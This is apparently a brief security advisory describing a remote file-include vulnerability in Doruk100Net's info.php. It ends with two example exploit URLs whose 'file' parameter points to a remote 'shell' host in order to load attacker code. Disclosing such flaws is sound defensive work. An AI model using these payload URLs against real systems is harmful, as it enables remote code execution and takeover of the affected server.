source: https://www.securityfocus.com/bid/23675/info

Doruk100Net is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting this issue may allow an attacker to compromise the application and the underlying system; other attacks are also possible. 

http://www.example.com/[path]/info.php?file=http://shell
http://victim/info.php?file=http://shell